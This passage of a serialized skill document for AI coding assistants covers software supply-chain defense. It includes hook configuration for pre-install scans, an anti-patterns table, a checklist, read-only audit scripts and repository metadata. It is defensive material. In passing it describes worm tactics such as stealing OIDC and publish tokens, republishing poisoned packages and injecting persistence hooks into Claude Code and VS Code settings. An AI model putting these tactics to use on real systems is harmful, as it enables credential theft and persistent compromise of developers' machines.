","type":"text"},{"text":"edits a manifest","type":"text","marks":[{"type":"em"}]},{"text":" (","type":"text"},{"text":"package.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"requirements*.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"composer.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Cargo.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"go.mod","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Gemfile","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pyproject.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":") and the change adds a version spec — the Claude-Code path the install hook misses. Advises depscore + cooldown before install. High-signal: silent on version bumps / metadata edits.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Both read the tool call as JSON on stdin (","type":"text"},{"text":".tool_input","type":"text","marks":[{"type":"code_inline"}]},{"text":"), falling back to ","type":"text"},{"text":"$1","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\n \"hooks\": {\n \"PreToolUse\": [\n { \"matcher\": \"Bash\", \"hooks\": [\n { \"type\": \"command\", \"command\": \"bash \\\"$HOME/.claude/hooks/pre-install-scan.sh\\\"\", \"timeout\": 5 } ] }\n ],\n \"PostToolUse\": [\n { \"matcher\": \"Write|Edit\", \"hooks\": [\n { \"type\": \"command\", \"command\": \"bash \\\"$HOME/.claude/hooks/manifest-dep-scan.sh\\\"\", \"timeout\": 5 } ] }\n ]\n }\n}","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Anti-patterns","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Anti-pattern","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Why it fails","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Do instead","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"We run ","type":"text"},{"text":"npm audit","type":"text","marks":[{"type":"code_inline"}]},{"text":" in CI, we're covered.\"","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Advisory-driven; blind to malware in the publish-to-CVE window — the exact gap the 2026 worms exploit.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Add a behavioural scan (Socket / GuardDog) gating the merge, not just a CVE check.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Trusting valid provenance / SLSA attestation as proof of safety.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Mini Shai-Hulud minted ","type":"text"},{"text":"valid Build L3 attestations","type":"text","marks":[{"type":"strong"}]},{"text":" from stolen OIDC tokens. Valid ≠ safe.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Treat provenance as one signal; require behavioural verdict too.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Auto-updating production deps the day a release lands.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Poisoned versions live for hours; you become an early victim.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"7-day release-age cooldown (Renovate ","type":"text"},{"text":"minimumReleaseAge","type":"text","marks":[{"type":"code_inline"}]},{"text":").","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Treating a verified-publisher VS Code extension as trustworthy.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Nx Console: verified publisher, 2.2M installs, backdoored.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Check publication recency; pause \u003c7-day non-verified; audit on a schedule.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Leaving ","type":"text"},{"text":"id-token: write","type":"text","marks":[{"type":"code_inline"}]},{"text":" on workflows that no longer publish.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"The orphaned-OIDC entry point — a token minted from a stale workflow.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Revoke registry trust + drop the permission. Run ","type":"text"},{"text":"zizmor","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Deleting a found persistence hook and moving on.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"The worm stole credentials ","type":"text"},{"text":"before","type":"text","marks":[{"type":"em"}]},{"text":" it persisted; the hook is the symptom.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Treat as an incident: isolate, rotate every reachable credential, then investigate.","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Verification checklist","type":"text"}]},{"type":"checkbox_list","attrs":{"id":null},"content":[{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"A behavioural verdict (not just ","type":"text"},{"text":"npm audit","type":"text","marks":[{"type":"code_inline"}]},{"text":") exists for every newly added/bumped dependency","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Production deps respect a release-age cooldown (≥7 days)","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Lockfiles committed; exact pins for anything in CI/prod","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"No workflow carries ","type":"text"},{"text":"id-token: write","type":"text","marks":[{"type":"code_inline"}]},{"text":" it doesn't need (","type":"text"},{"text":"zizmor","type":"text","marks":[{"type":"code_inline"}]},{"text":" clean)","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Long-lived publish tokens rotated or replaced with short-lived OIDC","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" exits 0 (no unexplained hooks/MCP servers in ","type":"text"},{"text":".claude/","type":"text","marks":[{"type":"code_inline"}]},{"text":" or VS Code settings)","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"ignore-scripts","type":"text","marks":[{"type":"code_inline"}]},{"text":" enabled where lifecycle scripts aren't needed","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"depscore MCP or ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" CLI available so packages can be scored before they're suggested","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Scripts","type":"text"}]},{"type":"paragraph","content":[{"text":"All four follow the Axiom Tool Protocol: ","type":"text"},{"text":"--help","type":"text","marks":[{"type":"code_inline"}]},{"text":" with EXAMPLES, ","type":"text"},{"text":"--json","type":"text","marks":[{"type":"code_inline"}]},{"text":" for machine-readable output, stdout = data / stderr = progress, semantic exit codes (0 ok, 2 usage, 3 not-found, 4 invalid, 5 missing-dep, 7 unavailable, ","type":"text"},{"text":"10 = signal found","type":"text","marks":[{"type":"strong"}]},{"text":" — review items / inside-cooldown / exposed / behavioural finding). Pipe-friendly: ","type":"text"},{"text":"--json | jq","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Dependencies.","type":"text","marks":[{"type":"strong"}]},{"text":" The skill is markdown + bash and every script's ","type":"text"},{"text":"default","type":"text","marks":[{"type":"em"}]},{"text":" mode is zero-dep (bash, coreutils, ","type":"text"},{"text":"curl","type":"text","marks":[{"type":"code_inline"}]},{"text":"; ","type":"text"},{"text":"jq","type":"text","marks":[{"type":"code_inline"}]},{"text":" only for ","type":"text"},{"text":"--json","type":"text","marks":[{"type":"code_inline"}]},{"text":"). ","type":"text"},{"text":"scan-extensions.sh --deep","type":"text","marks":[{"type":"code_inline"}]},{"text":" auto-detects ","type":"text"},{"text":"guarddog","type":"text","marks":[{"type":"code_inline"}]},{"text":"+","type":"text"},{"text":"semgrep","type":"text","marks":[{"type":"code_inline"}]},{"text":" and uses them when present; when absent it runs inventory + recency and ","type":"text"},{"text":"loudly recommends","type":"text","marks":[{"type":"em"}]},{"text":" the on-demand install rather than reporting a behavioural scan it never ran (which would be the same false-clean GuardDog itself hits without semgrep). Nothing heavyweight is kept on the machine by default. All named tools (socket, guarddog, semgrep, zizmor, OSV-Scanner) are an optional ","type":"text"},{"text":"menu","type":"text","marks":[{"type":"em"}]},{"text":" — see ","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" → \"How the controls interact\" for the minimum viable set.","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Script","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Purpose","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Side effects","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Scan AI-tool configs (Claude Code/Desktop, Gemini, MCP host JSON) + editor settings (VS Code, Cursor, Windsurf, VSCodium) for injected persistence hooks/MCP servers; flag workflows with live OIDC publish trust (uses ","type":"text"},{"text":"zizmor","type":"text","marks":[{"type":"code_inline"}]},{"text":" if installed). Exit 10 if anything to review.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Read-only","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"scripts/preinstall-check.sh","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Given package specs, report registry publish age (npm/PyPI), flag any inside the cooldown window, route to ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" if available. Exit 10 if any inside cooldown.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Read-only (queries registries)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"scripts/exposure-check.py","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Match on-disk ","type":"text"},{"text":"npm (package-lock/pnpm/yarn) / PyPI / Composer / Cargo / Go / RubyGems","type":"text","marks":[{"type":"strong"}]},{"text":" lockfiles ","type":"text"},{"text":"and installed editor extensions","type":"text","marks":[{"type":"strong"}]},{"text":" against an IOC catalog (","type":"text"},{"text":"assets/exposure-catalog.json","type":"text","marks":[{"type":"code_inline"}]},{"text":") — the \"are we running a named-bad version/extension?\" check. Supports a ","type":"text"},{"text":"*","type":"text","marks":[{"type":"code_inline"}]},{"text":" wildcard for tag-rewrite attacks. Exit 10 if exposed. Catalog format borrowed from Bumblebee.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Read-only","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"scripts/scan-extensions.sh","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Unknown-bad","type":"text","marks":[{"type":"strong"}]},{"text":" triage of installed editor extensions / Claude plugins / skills. Default = zero-dep ","type":"text"},{"text":"inventory + recency","type":"text","marks":[{"type":"strong"}]},{"text":" (no false positives). ","type":"text"},{"text":"--deep","type":"text","marks":[{"type":"code_inline"}]},{"text":" auto-detects ","type":"text"},{"text":"guarddog","type":"text","marks":[{"type":"code_inline"}]},{"text":"+","type":"text"},{"text":"semgrep","type":"text","marks":[{"type":"code_inline"}]},{"text":": runs the behavioural scan if present (exit 10 on a finding), else runs inventory only and ","type":"text"},{"text":"loudly recommends","type":"text","marks":[{"type":"em"}]},{"text":" the on-demand install — never a false-clean.","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Read-only","type":"text"}]}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"scripts/integrity-audit.sh --json | jq '.data.review[]'\nscripts/preinstall-check.sh --pip requests [email protected] --json | jq '.data[] | select(.inside_cooldown)'","type":"text"}]},{"type":"paragraph","content":[{"text":"tests/run.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" is an offline-deterministic self-test (18 assertions) covering all three scripts + the hook against crafted fixtures — run it after any edit: ","type":"text"},{"text":"bash tests/run.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" (exit 0 = all pass).","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Reference files","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"File","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Contents","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"references/threat-model.md","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"2026 timeline (axios, Shai-Hulud, durabletask, Nx, GitHub breach), worm mechanics, IOCs, and why each legacy control failed","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"references/socket-cli.md","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Accurate Socket CLI + depscore MCP command surface, free-vs-paid table, Claude Code setup, source links, briefing corrections","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"The wider (mostly free/OSS) defender ecosystem — GuardDog, OSV-Scanner, zizmor, Harden-Runner, lockfile-lint, ","type":"text"},{"text":"ignore-scripts","type":"text","marks":[{"type":"code_inline"}]},{"text":" — mapped to the four layers, with a when-to-use-which matrix","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"references/hardening-checklist.md","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Step-by-step OIDC audit, token rotation, dep cooldown policy, extension audit, persistence detection, client-proposal language","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"See also","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Skill","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"When to combine","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"security-ops","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Reactive CVE/SAST/auth audit — run alongside; they solve different problems","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ci-cd-ops","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Hardening GitHub Actions, OIDC trusted publishing setup","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"github-ops","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Release flow, repo security settings","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"auth-ops","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Credential/token handling patterns after a rotation","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"supply-chain-defense","author":"@skillopedia","source":{"stars":21,"repo_name":"claude-mods","origin_url":"https://github.com/0xdarkmatter/claude-mods/blob/HEAD/skills/supply-chain-defense/SKILL.md","repo_owner":"0xdarkmatter","body_sha256":"accdd9c14d4b1e9aca74fb646c22ead04410a95f62d6e0ce3acda32be7e88fd7","cluster_key":"42efeb949172ecadbc1932f6c36112acd91222dc03989534d0132e6a25ef6c23","clean_bundle":{"format":"clean-skill-bundle-v1","source":"0xdarkmatter/claude-mods/skills/supply-chain-defense/SKILL.md","attachments":[{"id":"bbcc7f23-49fa-5a7d-8035-b3dee86bff16","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/bbcc7f23-49fa-5a7d-8035-b3dee86bff16/attachment","path":"assets/.gitkeep","size":0,"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","contentType":"text/plain; charset=utf-8"},{"id":"a2ab64bf-ee63-53b7-b4fa-ab6536475ddb","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a2ab64bf-ee63-53b7-b4fa-ab6536475ddb/attachment.json","path":"assets/exposure-catalog.json","size":5183,"sha256":"b99a986bdd1ce50cef95d08046ef07611b55fa3de65ef8007a5fe611d8504694","contentType":"application/json; charset=utf-8"},{"id":"aaff9b30-29e4-5ca0-8acb-8e93f6408769","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/aaff9b30-29e4-5ca0-8acb-8e93f6408769/attachment.md","path":"references/hardening-checklist.md","size":7587,"sha256":"e842ab5df99084c644b8125b640c926ebbc361c95931fec9dae5d410bd496b93","contentType":"text/markdown; charset=utf-8"},{"id":"c27e90ec-35fa-5591-927e-427dbd75045f","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c27e90ec-35fa-5591-927e-427dbd75045f/attachment.md","path":"references/socket-cli.md","size":7085,"sha256":"a5a2a5371f4f682efc796d2ea52fb566b88eed8b6f8d0cbc0f512d31a850219e","contentType":"text/markdown; charset=utf-8"},{"id":"b93d27f3-3965-5c3e-a89d-26e00f0703d3","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/b93d27f3-3965-5c3e-a89d-26e00f0703d3/attachment.md","path":"references/threat-model.md","size":11128,"sha256":"df9ca755ff6ebaa0eaf77b498c1c5375a389379825b280607a7439f9f7028a26","contentType":"text/markdown; charset=utf-8"},{"id":"07ca6558-5af9-5bbc-bbb3-75f8ca3adea8","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/07ca6558-5af9-5bbc-bbb3-75f8ca3adea8/attachment.md","path":"references/tooling-landscape.md","size":15806,"sha256":"bec3715fbbcaaf55252ed51f8cf46ff769b84608d5cfddd42f2dfbe62acf9cb5","contentType":"text/markdown; charset=utf-8"},{"id":"d888a510-3b35-57dd-bc5b-69c94806fbac","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/d888a510-3b35-57dd-bc5b-69c94806fbac/attachment.py","path":"scripts/exposure-check.py","size":14458,"sha256":"c36e67808add306c20ebc427d71293a937d475c8a8897bc87eaede4bd62dcf36","contentType":"text/x-python; charset=utf-8"},{"id":"54a397f5-0c1a-5e77-94ae-1ae9600ce9a8","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/54a397f5-0c1a-5e77-94ae-1ae9600ce9a8/attachment.sh","path":"scripts/integrity-audit.sh","size":10010,"sha256":"b1a999b0d9be89e6281f9665c70949b8bdf15b300220f3ad3163edaee64d0101","contentType":"application/x-sh; charset=utf-8"},{"id":"6f419caa-3a22-514e-a29f-3ca712fe14b7","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/6f419caa-3a22-514e-a29f-3ca712fe14b7/attachment.sh","path":"scripts/preinstall-check.sh","size":8282,"sha256":"77a7d9a3f0d071ec5de7c351d4787650f383123ee8efc9a85e4a2ebc411e5ac1","contentType":"application/x-sh; charset=utf-8"},{"id":"e3731ea0-b398-51b3-ad38-945faa338e33","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/e3731ea0-b398-51b3-ad38-945faa338e33/attachment.sh","path":"scripts/scan-extensions.sh","size":8780,"sha256":"a81ec497a8d9de7837200a08dfff3deca42ac7671e99243aa2231cc04f6e4a42","contentType":"application/x-sh; charset=utf-8"},{"id":"56813319-efaa-5943-b018-6505045bc948","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/56813319-efaa-5943-b018-6505045bc948/attachment.sh","path":"tests/run.sh","size":11531,"sha256":"5e5d25a2fa4f9eb71d854a561b956bbe7c59ec21ab474387b3669da399424a14","contentType":"application/x-sh; charset=utf-8"}],"bundle_sha256":"3c97f4068b360bf5e791d6c20b787f7f06fae17d5d38798ccf8c38343184c4d6","attachment_count":11,"text_attachments":10,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":1,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"skills/supply-chain-defense/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"license":"MIT","version":"v1","category":"security","metadata":{"author":"claude-mods","related-skills":"security-ops, ci-cd-ops, github-ops, auth-ops"},"import_tag":"clean-skills-v1","description":"Behavioural-first software supply chain defense - catches poisoned npm/PyPI packages in the publish-to-advisory window that CVE tools miss. Socket.dev integration (free CLI + GitHub app + depscore MCP for Claude Code), stale-OIDC audit, dependency cooldown policy, publish-token rotation, VS Code extension audit, and a self-integrity scan that detects worm persistence hooks injected into Claude Code / VS Code settings. Triggers on: supply chain, supply chain attack, malicious package, poisoned dependency, npm worm, Shai-Hulud, behavioural scanning, Socket.dev, socket scan, dependency security, postinstall malware, OIDC token theft, compromised maintainer, typosquat, dependency confusion, package provenance, SLSA, persistence hook, malicious VS Code extension.","allowed-tools":"Read Edit Write Bash Glob Grep Agent WebFetch"}},"renderedAt":1782981554116}

Supply Chain Defense Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into Claude Code and VS Code settings specifically. Helps with Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package before / , not days later when a CVE drops. , the depscore MCP, or . A teammate or CI just pulled a freshly-published package version and yo…